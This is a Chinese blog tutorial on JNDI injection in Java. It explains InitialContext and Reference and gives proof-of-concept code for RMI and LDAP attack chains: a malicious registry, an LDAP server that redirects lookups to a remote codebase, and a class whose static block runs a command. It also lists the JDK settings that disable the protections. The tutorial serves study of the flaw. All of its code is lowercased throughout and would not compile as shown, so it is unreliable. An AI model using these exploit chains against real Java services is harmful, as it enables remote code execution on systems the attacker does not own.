Java之JNDI注入的实现

2022-07-21,,

目录
  • about jndi
    • 0x01 简介
    • 0x02 jndi的用途
    • 0x03 日常使用
    • 0x04 jndi命名和目录服务
  • 前置知识
    • initialcontext类
    • reference类
    • jndi demo
  • jndi+rmi攻击手法
    • jndi+ldap攻击手法
      • reference

        about jndi

        0x01 简介

        jndi(java naming and directory interface)是sun公司提供的一种标准的java命名系统接口,jndi提供统一的客户端api,通过不同的访问提供者接口jndi服务供应接口(spi)的实现,由管理者将jndi api映射为特定的命名服务和目录系统,使得java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用jndiapi应用程序可以定位资源和其他程序对象。jndijava ee的重要部分,需要注意的是它并不只是包含了datasource(jdbc 数据源)jndi可访问的现有的目录及服务有:dns、xnam 、novell目录服务、ldap(lightweight directory access protocol轻型目录访问协议)、 corba对象服务、文件系统、windows xp/2000/nt/me/9x的注册表、rmi、dsml v1&v2、nis。

        0x02 jndi的用途

        jndi(java naming and directory interface)是一个应用程序设计的api,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似jdbc都是构建在抽象层上。现在jndi已经成为j2ee的标准之一,所有的j2ee容器都必须提供一个jndi的服务。

        0x03 日常使用

        其实简单看简介会有点感觉jndi类似于rmi中的registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。

        平常使用jndi注入攻击时常用的就是rmi和ldap。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。

        0x04 jndi命名和目录服务

        naming service 命名服务:

        命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:dns系统将计算机名和ip地址进行关联、文件系统将文件名和文件句柄进行关联等等。

        directory service 目录服务:

        目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

        reference 引用:

        在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

        这个点用到的也比较多,下面会详细讲。

        前置知识

        主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章

        initialcontext类

        构造方法:

        initialcontext() 
        构建一个初始上下文。  
        initialcontext(boolean lazy) 
        构造一个初始上下文,并选择不初始化它。  
        initialcontext(hashtable<?,?> environment) 
        使用提供的环境构建初始上下文。 
        initialcontext initialcontext = new initialcontext();

        在这jdk里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

        常用方法:

        bind(name name, object obj) 
        	将名称绑定到对象。 
        list(string name) 
        	枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
        lookup(string name) 
        	检索命名对象。 
        rebind(string name, object obj) 
        	将名称绑定到对象,覆盖任何现有绑定。 
        unbind(string name) 
        	取消绑定命名对象。 

        reference类

        该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了jndi中类的引用功能。

        构造方法:

        reference(string classname)
        为类名为“classname”的对象构造一个新的引用。
        reference(string classname, refaddr addr)
        为类名为“classname”的对象和地址构造一个新引用。
        reference(string classname, refaddr addr, string factory, string factorylocation)
        为类名为“classname”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
        reference(string classname, string factory, string factorylocation)
        为类名为“classname”的对象以及对象工厂的类名和位置构造一个新引用。

        代码:

         string url = "http://127.0.0.1:8080";
                reference reference = new reference("test", "test", url);

        参数1:classname - 远程加载时所使用的类名

        参数2:classfactory - 加载的class中需要实例化类的名称

        参数3:classfactorylocation - 提供classes数据的地址可以是file/ftp/http协议

        常用方法:

        void add(int posn, refaddr addr) 
        	将地址添加到索引posn的地址列表中。  
        void add(refaddr addr) 
        	将地址添加到地址列表的末尾。  
        void clear() 
        	从此引用中删除所有地址。  
        refaddr get(int posn) 
        	检索索引posn上的地址。  
        refaddr get(string addrtype) 
        	检索地址类型为“addrtype”的第一个地址。  
        enumeration<refaddr> getall() 
        	检索本参考文献中地址的列举。  
        string getclassname() 
        	检索引用引用的对象的类名。  
        string getfactoryclasslocation() 
        	检索此引用引用的对象的工厂位置。  
        string getfactoryclassname() 
        	检索此引用引用对象的工厂的类名。    
        object remove(int posn) 
        	从地址列表中删除索引posn上的地址。  
        int size() 
        	检索此引用中的地址数。  
        string tostring() 
        	生成此引用的字符串表示形式。  

        jndi demo

        下面看一段代码,是一段易受jndi注入攻击的demo

        主要是调用的lookup方法中url参数可控,那么可能会导致jndi注入漏洞的产生。

        import javax.naming.initialcontext;
        import javax.naming.namingexception;
        
        public class jndidemo {
            
            public void jndi(string url) throws namingexception {
                initialcontext initialcontext = new initialcontext();
                initialcontext.lookup(url);
            }
        }

        jndi+rmi攻击手法

        限制条件:

        rmi服务中引用远程对象将受本地java环境限制即本地的java.rmi.server.usecodebaseonly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的objectfactory对象还将受到com.sun.jndi.rmi.object.trusturlcodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

        • jdk 5u45,jdk 6u45,jdk 7u21,jdk 8u121开始java.rmi.server.usecodebaseonly默认配置已经改为了true
        • jdk 6u132, jdk 7u122, jdk 8u113开始com.sun.jndi.rmi.object.trusturlcodebase默认值已改为了false

        本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

        system.setproperty("java.rmi.server.usecodebaseonly", "false");
        system.setproperty("com.sun.jndi.rmi.object.trusturlcodebase", "true");

        jndiserver

        import javax.naming.initialcontext;
        import javax.naming.namingexception;
        
        public class jndiserver {
            public static void main(string[] args) throws namingexception {
                string url = "rmi://127.0.0.1:1099/exportobject";
                initialcontext initialcontext = new initialcontext();
                initialcontext.lookup(url);
        
            }
        }

        jndiexploitserver

        import com.sun.jndi.rmi.registry.referencewrapper;
        import javax.naming.namingexception;
        import javax.naming.reference;
        import java.rmi.alreadyboundexception;
        import java.rmi.remoteexception;
        import java.rmi.registry.locateregistry;
        import java.rmi.registry.registry;
        import java.util.arrays;
        
        public class jndiexploitserver {
            public static void main(string[] args) throws remoteexception, namingexception, alreadyboundexception {
                //创建registry
                registry registry = locateregistry.createregistry(1099);
        
                string url = "http://127.0.0.1:8080/";
                // 实例化一个reference尝试为远程对象构造一个引用
                reference reference = new reference("exploitobject", "exploitobject", url);
                // 强转成referencewrapper,因为reference并没有继承remote接口,不能直接注册到registry中
                referencewrapper referencewrapper = new referencewrapper(reference);
        
                registry.bind("exportobject", referencewrapper);
                system.out.println("registry&server start ...");
                //打印别名
                system.out.println("registry list: " + arrays.tostring(registry.list()));
            }
        }

        exploitobject

        public class exploitobject {
            static {
                try {
        
                    runtime.getruntime().exec("open -a calculator");
                } catch (ioexception e) {
                    e.printstacktrace();
                }
            }
        
            public static void main(string[] args) {
                system.out.println("calc running ...");
            }
        }

        先启动恶意的jndiexploitserver,然后运行jndiserver,当调用initialcontext.lookup(url)方法时,会通过rmi协议寻找exportobject对应的对象referencewrapper,而referencewrapper为远程对象exploitobject的引用,所以最终实例化的是exploitobject从而触发静态代码块执行达到任意代码执行的目的。

        在此期间遇到了几个坑点,记录一下:

        • jdk的限制,测试环境延用了rmi时的jdk7u17
        • 在编译exploitobject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:package com.zh1z3ven.jndi),指定版本javac编译命令:/library/java/javavirtualmachines/jdk1.7.0_17.jdk/contents/home/bin/javac ./main/java/com/zh1z3ven/jndi/exploitobject.java

        jndi+ldap攻击手法

        这里的限制是在8u191之前

        copy一段ldap的server端代码

        ldapserver

        import java.net.inetaddress;
        import java.net.malformedurlexception;
        import java.net.url;
        
        import javax.net.serversocketfactory;
        import javax.net.socketfactory;
        import javax.net.ssl.sslsocketfactory;
        
        import com.unboundid.ldap.listener.inmemorydirectoryserver;
        import com.unboundid.ldap.listener.inmemorydirectoryserverconfig;
        import com.unboundid.ldap.listener.inmemorylistenerconfig;
        import com.unboundid.ldap.listener.interceptor.inmemoryinterceptedsearchresult;
        import com.unboundid.ldap.listener.interceptor.inmemoryoperationinterceptor;
        import com.unboundid.ldap.sdk.entry;
        import com.unboundid.ldap.sdk.ldapexception;
        import com.unboundid.ldap.sdk.ldapresult;
        import com.unboundid.ldap.sdk.resultcode;
        
        
        public class ldapserver {
        
            private static final string ldap_base = "dc=example,dc=com";
        
            public static void main(string[] argsx) {
                string[] args = new string[]{"http://127.0.0.1:8080/#exploitobject"};
                int port = 7777;
        
        
                try {
                    inmemorydirectoryserverconfig config = new inmemorydirectoryserverconfig(ldap_base);
                    config.setlistenerconfigs(new inmemorylistenerconfig(
                            "listen", //$non-nls-1$
                            inetaddress.getbyname("0.0.0.0"), //$non-nls-1$
                            port,
                            serversocketfactory.getdefault(),
                            socketfactory.getdefault(),
                            (sslsocketfactory) sslsocketfactory.getdefault()));
        
                    config.addinmemoryoperationinterceptor(new operationinterceptor(new url(args[ 0 ])));
                    inmemorydirectoryserver ds = new inmemorydirectoryserver(config);
                    system.out.println("listening on 0.0.0.0:" + port); //$non-nls-1$
                    ds.startlistening();
        
                }
                catch ( exception e ) {
                    e.printstacktrace();
                }
            }
        
            private static class operationinterceptor extends inmemoryoperationinterceptor {
        
                private url codebase;
        
                public operationinterceptor ( url cb ) {
                    this.codebase = cb;
                }
        
                @override
                public void processsearchresult ( inmemoryinterceptedsearchresult result ) {
                    string base = result.getrequest().getbasedn();
                    entry e = new entry(base);
                    try {
                        sendresult(result, base, e);
                    }
                    catch ( exception e1 ) {
                        e1.printstacktrace();
                    }
                }
        
                protected void sendresult ( inmemoryinterceptedsearchresult result, string base, entry e ) throws ldapexception, malformedurlexception {
                    url turl = new url(this.codebase, this.codebase.getref().replace('.', '/').concat(".class"));
                    system.out.println("send ldap reference result for " + base + " redirecting to " + turl);
                    e.addattribute("javaclassname", "foo");
                    string cbstring = this.codebase.tostring();
                    int refpos = cbstring.indexof('#');
                    if ( refpos > 0 ) {
                        cbstring = cbstring.substring(0, refpos);
                    }
                    e.addattribute("javacodebase", cbstring);
                    e.addattribute("objectclass", "javanamingreference"); //$non-nls-1$
                    e.addattribute("javafactory", this.codebase.getref());
                    result.sendsearchentry(e);
                    result.setresult(new ldapresult(0, resultcode.success));
                }
            }
        }

        jndiserver2

        public class jndiserver2 {
            public static void main(string[] args) throws namingexception {
                string url = "ldap://127.0.0.1:7777/exploitobject";
                initialcontext initialcontext = new initialcontext();
                initialcontext.lookup(url);
        
            }
        }

        exploitobject

        public class exploitobject {
            static {
                try {
        
                    runtime.getruntime().exec("open -a calculator");
                } catch (ioexception e) {
                    e.printstacktrace();
                }
            }
        
            public static void main(string[] args) {
                system.out.println("calc running ...");
            }
        }

        reference

        如何绕过高版本 jdk 的限制进行 jndi 注入利用:https://paper.seebug.org/942/

        javasec

        https://www.cnblogs.com/nice0e3/p/13958047.html

        https://www.veracode.com/blog/research/exploiting-jndi-injections-java

        https://kingx.me/restrictions-and-bypass-of-jndi-manipulations-rce.html

        https://paper.seebug.org/1091/

        https://security.tencent.com/index.php/blog/msg/131

        https://paper.seebug.org/1207/

        到此这篇关于java之jndi注入的实现的文章就介绍到这了,更多相关java jndi注入内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!

        《Java之JNDI注入的实现.doc》

        下载本文的Word格式文档,以方便收藏与打印。